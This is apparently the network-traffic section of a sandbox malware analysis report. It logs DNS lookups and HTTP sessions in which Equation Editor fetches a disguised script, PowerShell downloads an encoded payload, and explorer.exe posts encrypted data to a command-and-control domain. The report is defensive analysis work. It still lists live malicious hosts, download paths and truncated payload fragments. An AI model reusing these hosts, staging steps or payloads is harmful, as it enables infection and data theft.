Aug 31, 2024 19:26:52.270508051 CEST	8.8.8.8	192.168.2.22	0x15a2	No error (0)	prolinice.ga	185.251.91.119	A (IP address)	IN (0x0001)	false
Aug 31, 2024 19:26:52.549982071 CEST	8.8.8.8	192.168.2.22	0x15a2	No error (0)	prolinice.ga	185.251.91.119	A (IP address)	IN (0x0001)	false
Aug 31, 2024 19:26:52.567785025 CEST	8.8.8.8	192.168.2.22	0x15a2	No error (0)	prolinice.ga	185.251.91.119	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

ia803104.us.archive.org

23.94.148.16

cpbrvhywlnsy.com

prolinice.ga

wehtwifahcxeheu.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.22	49163	23.94.148.16	80	3312	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Timestamp	Bytes transferred	Direction	Data
Aug 31, 2024 19:25:01.742921114 CEST	336	OUT	GET /90/verynicebuttersmoothcakeicream.tIF HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: 23.94.148.16 Connection: Keep-Alive
Aug 31, 2024 19:25:02.423346996 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 31 Aug 2024 17:25:01 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Fri, 30 Aug 2024 01:22:53 GMT ETag: "2cb2c-620dc6e2b6890" Accept-Ranges: bytes Content-Length: 183084 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: image/tiff Data Raw: ff fe 0d 00 0a 00 61 00 4f 00 4c 00 68 00 4b 00 66 00 4c 00 71 00 4a 00 55 00 20 00 3d 00 20 00 22 00 5a 00 6e 00 66 00 4c 00 57 00 6d 00 43 00 63 00 47 00 6e 00 22 00 0d 00 0a 00 55 00 7a 00 70 00 75 00 4c 00 4e 00 4e 00 66 00 4b 00 6b 00 20 00 3d 00 20 00 22 00 4f 00 65 00 68 00 41 00 51 00 57 00 55 00 78 00 4c 00 4c 00 22 00 0d 00 0a 00 4c 00 63 00 67 00 4f 00 47 00 4b 00 6d 00 4b 00 63 00 4c 00 20 00 3d 00 20 00 22 00 48 00 62 00 4c 00 6b 00 4c 00 74 00 4c 00 57 00 63 00 51 00 22 00 0d 00 0a 00 76 00 63 00 55 00 73 00 66 00 6c 00 5a 00 52 00 6c 00 43 00 20 00 3d 00 20 00 22 00 6d 00 4c 00 75 00 62 00 53 00 54 00 6b 00 4b 00 57 00 68 00 22 00 0d 00 0a 00 6b 00 4f 00 47 00 47 00 4a 00 41 00 6c 00 55 00 65 00 66 00 20 00 3d 00 20 00 22 00 5a 00 52 00 66 00 4b 00 7a 00 57 00 4c 00 5a 00 4a 00 62 00 22 00 0d 00 0a 00 55 00 7a 00 47 00 4f 00 68 00 62 00 69 00 57 00 57 00 55 00 20 00 3d 00 20 00 22 00 5a 00 68 00 69 00 4b 00 4a 00 4c 00 47 00 63 00 78 00 4c 00 22 00 0d 00 0a 00 52 00 4e 00 57 00 57 00 [TRUNCATED] Data Ascii: aOLhKfLqJU = "ZnfLWmCcGn"UzpuLNNfKk = "OehAQWUxLL"LcgOGKmKcL = "HbLkLtLWcQ"vcUsflZRlC = "mLubSTkKWh"kOGGJAlUef = "ZRfKzWLZJb"UzGOhbiWWU = "ZhiKJLGcxL"RNWWPcWLpk = "inLcRaLORT"LJRHpWOLiA = "HANiCKKaoW"LlixubWiPa = "eCPxbZkAQc"caWilmiUZo = "PObfcPWtmW"pbnQmpoiKu = "QkZAvlIxcJ"PqiGNOkWuS = "uNUKciGpdh"UgnILezUit = "IWGcLuhWHk"oakCeoALzi = "PWZZKmAOlf"CNiPKnohse = "NGUqLdizGW"PcKPTWkeQL = "shNHbzkWTW"LNGLtAHidG = "khUhJAiZPW
Aug 31, 2024 19:25:02.423366070 CEST	1236	IN	Data Raw: 00 22 00 0d 00 0a 00 0d 00 0a 00 50 00 63 00 5a 00 57 00 68 00 61 00 55 00 61 00 51 00 73 00 20 00 3d 00 20 00 22 00 63 00 63 00 76 00 47 00 47 00 6b 00 48 00 47 00 54 00 66 00 22 00 0d 00 0a 00 7a 00 7a 00 6b 00 50 00 78 00 4c 00 4b 00 4e 00 47 Data Ascii: "PcZWhaUaQs = "ccvGGkHGTf"zzkPxLKNGC = "SUNZkCApGd"mUNkAGmWGa = "kitbcKLGKi"hUzaUBiiqN = "WahkeKItqC"kWenPSkG
Aug 31, 2024 19:25:02.423372984 CEST	1236	IN	Data Raw: 00 57 00 69 00 6b 00 69 00 41 00 70 00 62 00 63 00 6f 00 20 00 3d 00 20 00 22 00 69 00 6d 00 71 00 74 00 57 00 71 00 6b 00 6d 00 65 00 69 00 22 00 0d 00 0a 00 47 00 4a 00 65 00 66 00 63 00 67 00 4c 00 70 00 6b 00 57 00 20 00 3d 00 20 00 22 00 4c Data Ascii: WikiApbco = "imqtWqkmei"GJefcgLpkW = "LmCnuhLqRq"eZKNsGLPNl = "fxhcLrkpAL"snPmZvWWSG = "xBrqGBbUAi"KzPWLLkiOo = "
Aug 31, 2024 19:25:02.423536062 CEST	672	IN	Data Raw: 00 57 00 75 00 57 00 22 00 0d 00 0a 00 51 00 6f 00 6c 00 57 00 50 00 5a 00 53 00 7a 00 6e 00 5a 00 20 00 3d 00 20 00 22 00 4c 00 75 00 47 00 4c 00 6d 00 47 00 69 00 6f 00 69 00 71 00 22 00 0d 00 0a 00 6d 00 65 00 5a 00 63 00 6c 00 41 00 74 00 78 Data Ascii: WuW"QolWPZSznZ = "LuGLmGioiq"meZclAtxgP = "ixfhdWNGWf"WPcAxtpLoT = "KobKveqcWv"cWfHpZiKLm = "cWbLiuZLiZ"xaOmBAo
Aug 31, 2024 19:25:02.423567057 CEST	1236	IN	Data Raw: 00 55 00 71 00 74 00 69 00 50 00 7a 00 20 00 3d 00 20 00 22 00 50 00 41 00 57 00 69 00 78 00 6b 00 55 00 5a 00 71 00 4c 00 22 00 0d 00 0a 00 6f 00 74 00 68 00 4c 00 47 00 6f 00 61 00 4c 00 4f 00 74 00 20 00 3d 00 20 00 22 00 47 00 4e 00 55 00 54 Data Ascii: UqtiPz = "PAWixkUZqL"othLGoaLOt = "GNUTJWZmWi"gPGvnsKLhk = "GPKUWLGAjL"hGpgxKJoOi = "iUfqKKPirL"JnbhlCdIPn = "h
Aug 31, 2024 19:25:02.423577070 CEST	1236	IN	Data Raw: 00 22 00 0d 00 0a 00 0d 00 0a 00 63 00 65 00 57 00 57 00 41 00 50 00 4c 00 78 00 49 00 6d 00 20 00 3d 00 20 00 22 00 43 00 66 00 57 00 55 00 78 00 4c 00 57 00 7a 00 4e 00 6e 00 22 00 0d 00 0a 00 63 00 61 00 41 00 55 00 69 00 67 00 5a 00 69 00 6f Data Ascii: "ceWWAPLxIm = "CfWUxLWzNn"caAUigZioK = "rUkmGinhuG"RcUiKeZiNA = "JkUmhpmbhi"LbcHkLeKip = "iWGORZbKuz"UeKeCbNC
Aug 31, 2024 19:25:02.423588991 CEST	1236	IN	Data Raw: 00 6d 00 6f 00 65 00 69 00 72 00 61 00 70 00 4c 00 4c 00 68 00 6b 00 74 00 75 00 41 00 22 00 0d 00 0a 00 6d 00 4b 00 6f 00 4b 00 67 00 49 00 47 00 63 00 4c 00 68 00 20 00 3d 00 20 00 22 00 57 00 68 00 52 00 41 00 4a 00 4c 00 42 00 71 00 4b 00 4b Data Ascii: moeirapLLhktuA"mKoKgIGcLh = "WhRAJLBqKK"WRCppGGmQi = "kfiJqimKZq"WZlBCPoAKC = "xrRWWnTNiW"GIcomWLKGW = "iSuKGOOKe
Aug 31, 2024 19:25:02.423602104 CEST	1236	IN	Data Raw: 00 6f 00 6f 00 68 00 69 00 57 00 70 00 6e 00 74 00 22 00 0d 00 0a 00 55 00 70 00 6e 00 69 00 47 00 75 00 61 00 78 00 73 00 72 00 20 00 3d 00 20 00 22 00 57 00 51 00 4a 00 4c 00 55 00 48 00 43 00 4e 00 5a 00 69 00 22 00 0d 00 0a 00 43 00 6e 00 65 Data Ascii: oohiWpnt"UpniGuaxsr = "WQJLUHCNZi"CnefPdRpAA = "LupNZRiWKh"WmiBnTsKLN = "mBmLxqBcWk"LLgBAKLLpi = "zfGquUkLek"dJ
Aug 31, 2024 19:25:02.423787117 CEST	1236	IN	Data Raw: 00 57 00 66 00 22 00 0d 00 0a 00 55 00 62 00 6e 00 66 00 78 00 74 00 4c 00 65 00 6d 00 4c 00 20 00 3d 00 20 00 22 00 4b 00 63 00 6d 00 68 00 41 00 66 00 41 00 4c 00 6b 00 54 00 22 00 0d 00 0a 00 4c 00 62 00 4c 00 55 00 43 00 63 00 4b 00 72 00 52 Data Ascii: Wf"UbnfxtLemL = "KcmhAfALkT"LbLUCcKrRe = "icOkzaLlQf"jZiUOWCtBo = "HPxmrAZGue"INepCsiARN = "KfkNookjRO"UHRecU
Aug 31, 2024 19:25:02.423799038 CEST	1236	IN	Data Raw: 00 54 00 57 00 7a 00 7a 00 6d 00 67 00 66 00 6c 00 49 00 22 00 0d 00 0a 00 0d 00 0a 00 63 00 74 00 4c 00 78 00 57 00 6e 00 74 00 57 00 68 00 6e 00 20 00 3d 00 20 00 22 00 47 00 41 00 66 00 63 00 75 00 57 00 4e 00 62 00 65 00 57 00 22 00 0d 00 0a Data Ascii: TWzzmgflI"ctLxWntWhn = "GAfcuWNbeW"dUAlnmpLmk = "fGicWiWfAG"ZbfetKOanL = "iKfLTqcxzz"iZKkLWudoL = "koCWiZGLPk"
Aug 31, 2024 19:25:02.423871040 CEST	1236	IN	Data Raw: 00 6d 00 4c 00 43 00 78 00 65 00 22 00 0d 00 0a 00 66 00 4e 00 5a 00 61 00 74 00 68 00 4c 00 7a 00 6d 00 48 00 20 00 3d 00 20 00 22 00 6b 00 47 00 78 00 69 00 4f 00 53 00 4c 00 63 00 70 00 6e 00 22 00 0d 00 0a 00 41 00 4b 00 6a 00 47 00 70 00 57 Data Ascii: mLCxe"fNZathLzmH = "kGxiOSLcpn"AKjGpWiZLd = "pdLqqhWNAW"eReWixnzGp = "buNbeNkeLL"KckWLaifhk = "SlLWLzjxLL"pnLLj

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.22	49165	23.94.148.16	80	3628	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Aug 31, 2024 19:25:08.947418928 CEST	73	OUT	GET /90/WEFV.txt HTTP/1.1 Host: 23.94.148.16 Connection: Keep-Alive
Aug 31, 2024 19:25:09.426656961 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 31 Aug 2024 17:25:09 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Thu, 29 Aug 2024 23:16:31 GMT ETag: "c558-620daaa44438d" Accept-Ranges: bytes Content-Length: 50520 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/plain Data Raw: 3d 3d 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 [TRUNCATED] Data Ascii: ==AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Aug 31, 2024 19:25:09.426676989 CEST	1236	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Aug 31, 2024 19:25:09.426681995 CEST	1236	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Aug 31, 2024 19:25:09.426752090 CEST	1236	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Aug 31, 2024 19:25:09.426758051 CEST	896	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Aug 31, 2024 19:25:09.426764011 CEST	1236	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Aug 31, 2024 19:25:09.426769018 CEST	1236	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Aug 31, 2024 19:25:09.426774979 CEST	1236	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Aug 31, 2024 19:25:09.427326918 CEST	1236	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Aug 31, 2024 19:25:09.427340984 CEST	1236	IN	Data Raw: 6c 5a 79 54 62 67 51 4c 70 31 54 70 51 41 53 4c 56 30 71 35 76 55 47 64 62 51 77 58 72 48 30 61 65 56 52 48 75 4e 43 45 68 30 53 4c 74 30 31 61 72 30 53 51 72 33 55 4c 74 75 36 42 64 73 42 76 6f 43 74 48 52 72 74 48 65 34 4b 65 30 6a 62 42 6a 56 Data Ascii: lZyTbgQLp1TpQASLV0q5vUGdbQwXrH0aeVRHuNCEh0SLt01ar0SQr3ULtu6BdsBvoCtHRrtHe4Ke0jbBjVxWTNmJ1oI1zvvEjNBetsVLskcbyjTWj/12ZNmXbh1Ysh30idRtRU5F+iTIV09k9ylxZG/mlwYHtcWCb1SNSEAF9KZ/G8tEjbZZdMbl7AWQdwSLj0BuVkpll8ZFsMyab06YrM4KiWQHwU2K25QJN0VLFG0SkHbJjNx
Aug 31, 2024 19:25:09.432010889 CEST	1236	IN	Data Raw: 75 46 33 6e 62 47 66 73 55 37 61 37 42 4c 79 49 38 31 36 5a 57 4a 34 79 66 4b 70 77 55 32 43 54 34 55 4a 79 68 4e 58 44 32 34 55 4c 6a 51 59 54 32 50 43 2b 65 75 62 46 39 6d 41 42 6c 30 58 53 5a 74 2f 74 44 48 4d 42 35 46 7a 61 5a 48 4d 45 34 4f Data Ascii: uF3nbGfsU7a7BLyI816ZWJ4yfKpwU2CT4UJyhNXD24ULjQYT2PC+eubF9mABl0XSZt/tDHMB5FzaZHME4OQYzeX7mR7KE16MXoKPXPXCDcDyGOhEjnvo+P+VEGtZwd1soPW6bkW8SMGTFjDMfNFVCNYVWOw3Ge+bAQXeS7yD0Ar2GO+LC76jCfnM3xy7TMQwjezhF8++kOi1i2ulrsn7jN46zEuv2bzTGmatYxQa2E6cJCHsklf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.22	49166	185.251.91.119	80	1244	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Aug 31, 2024 19:25:32.075747013 CEST	277	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://cpbrvhywlnsy.com/ User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 275 Host: prolinice.ga
Aug 31, 2024 19:25:32.075802088 CEST	275	OUT	Data Raw: 6e e2 e5 f9 b3 46 f7 64 1a 13 c4 15 49 51 f3 82 aa 21 91 26 42 fa cb e3 81 e0 7e 1b ad 3a 31 04 45 c7 9e b4 7b df 81 a5 60 b2 c4 f1 99 ac 30 26 e8 37 1e 48 8c 38 2e e3 36 d6 88 68 45 d7 76 e0 a7 fb bc 52 ee cc 59 3b 1f d6 b3 50 4c 85 65 c2 e2 ce Data Ascii: nFdIQ!&B~:1E{`0&7H8.6hEvRY;PLeRnOT6;9R$kkK^5u#iLzyzlqP}v\|^+<;lM'})wTEm&qRZJ sT^ZVwQ#\|
Aug 31, 2024 19:25:33.084430933 CEST	1236	IN	HTTP/1.1 404 Not Found date: Sat, 31 Aug 2024 17:25:32 GMT server: Apache/2.4.59 (Debian) transfer-encoding: chunked content-type: text/html; charset=utf-8 Data Raw: 33 37 44 33 0d 0a 18 00 00 00 a0 5f e8 0a 27 e8 c8 da 8d 2a 7f ba 53 e4 29 1d ec 5d a3 3f 18 cd 8f ba 00 ca 2c 05 00 7c e1 f7 57 09 03 02 00 09 00 9e 03 00 00 53 1f 7d 22 77 32 62 71 76 3f 4f 55 52 12 42 00 c9 32 ee 68 fe 0f ca 76 74 07 d6 d6 f9 b8 92 29 e8 55 92 92 3e c8 50 dd 24 a4 99 ce 5c 90 b9 3b fc 51 49 c0 0d f0 19 d3 e9 92 2a 7a f7 09 00 bb 7a b8 01 84 b7 a3 64 8b 0b f3 9f 79 57 fa 26 ce 46 fb 76 8c c7 a7 e0 22 d1 2d c9 1e 43 c3 ef c1 4c dd a0 af 3d b8 a8 a5 fb c0 70 8e 98 0e df 4b cc 40 42 f2 70 5e a2 6b 51 b2 9f 66 73 fe c7 15 ac cd f6 9d 88 6a 44 07 1e 8d 8b 6b 24 18 2b 4b 2a ec 81 b7 50 50 a4 4e ad cf 32 5c c0 15 b4 57 90 1b 0d ee 6c f7 54 23 c9 ed 8e bc 36 a0 b4 7a c0 a1 84 b8 ba d4 a3 62 52 1c ae d9 4b 5a 18 a9 1c db 20 3a d0 44 3f 55 06 6b bf 4b 63 27 f1 ac 4f fe d1 04 8b 3f ba 91 69 f9 fb 81 fe 97 af cd a6 40 69 e9 33 b2 a6 45 cc f6 83 0e 7c 20 5b 7d 1d a4 53 32 fe 9d cc 54 71 e4 4c 20 4c b2 37 b3 8e 0f 1b d8 40 78 f3 c6 c7 84 1a aa 21 d4 fa 17 f2 46 ab 2a 9b db a1 fa 45 c5 f8 a8 f5 [TRUNCATED] Data Ascii: 37D3_'S)]?,\|WS}"w2bqv?OURB2hvt)U>P$\;QIzzdyW&Fv"-CL=pK@Bp^kQfsjDk$+KPPN2\WlT#6zbRKZ :D?UkKc'O?i@i3E\| [}S2TqL L7@x!FEx{4@h;pg_Q@[N2H%s;"r21LVRvo9bN\|P,ds,^L+j m.&>g!=/r:l_UkH >(OAO\|q;@+o%Snnq nU[f&C5GT] T]>g{v[ySzB8IX<\r}23:=;HX>H+exij=Ou`'p3\|JY=R^Xo[#kn^T-la@9>$z\|kXv6]O8Rp\|otzAY2u-jk75HwbEIrBG`yDvWR0md9n/oc$7;KC?iT6cTD/m#R\|~YrMM"jg/7L@+Y8#*P`bNG4oFZ2:JFxGcCl_\?+m6z3QU.yjlx`Z [TRUNCATED]
Aug 31, 2024 19:25:33.084510088 CEST	1236	IN	Data Raw: f0 d3 5f c4 6b 30 c1 8f 61 0c bd 9f d9 57 2c d9 78 71 c3 ed 95 1c 57 62 73 a5 f6 ba 18 ea 07 01 95 65 ac 19 bf f4 04 76 fe 6d 42 8c 13 15 48 2c 63 3a fe 6c 25 54 4d 30 85 30 92 ad 37 23 ec 06 31 91 f0 16 ff a2 b3 e1 cd 3c d6 3f 9c 79 ef 0e 00 cb Data Ascii: _k0aW,xqWbsevmBH,c:l%TM007#1<?ye-gtgcwmV`&$E^uAwI0q:<#yfHJy<4^/\|gxgaD{t`viG"J+`RsqN:#(]5%f__`BxTCB/
Aug 31, 2024 19:25:33.084522963 CEST	1236	IN	Data Raw: 22 64 c2 b3 8e d1 96 69 6f da d8 11 e6 1b d4 e5 7a 74 48 ec 08 2a e9 cd 0c 7b b5 58 b4 8f 13 bb 67 d8 d1 b9 1a 51 6c 46 fe e3 7d e4 1d 37 e6 75 5c 03 96 01 ae 43 a2 02 37 3a 0c bb 2c 23 f6 16 c7 34 0b 51 a1 b0 42 47 f6 c4 67 8a ab d3 20 36 0f b2 Data Ascii: "dioztH*{XgQlF}7u\C7:,#4QBGg 6!D6w\)85/QN\|wn2+w0/86Su9"M.k$qW[PNkW,RPj+\mT~/^\U&gB,5<z#{
Aug 31, 2024 19:25:33.084636927 CEST	1236	IN	Data Raw: 2c 06 25 d8 06 da cf 30 f2 f7 8c 37 90 3f e2 de 0d 62 d2 0f 0f f4 7b 4b 6b 0e 27 42 d6 53 86 5c e6 6b 56 9a 09 1a b2 a6 c7 d2 23 76 42 63 9d f6 9b 07 14 29 a7 e1 78 c2 42 36 6a 58 0a 60 23 51 bf 62 27 01 e7 c5 7d 19 05 9d be 9b b5 07 54 be 5e 5e Data Ascii: ,%07?b{Kk'BS\kV#vBc)xB6jX`#Qb'}T^^bn}vfau)Nr)<h/Dgq`?\|lD~c^%u=6N!\}K14KH;z<d#C^n+~UdH+J8SSo_g+>yS^5%#
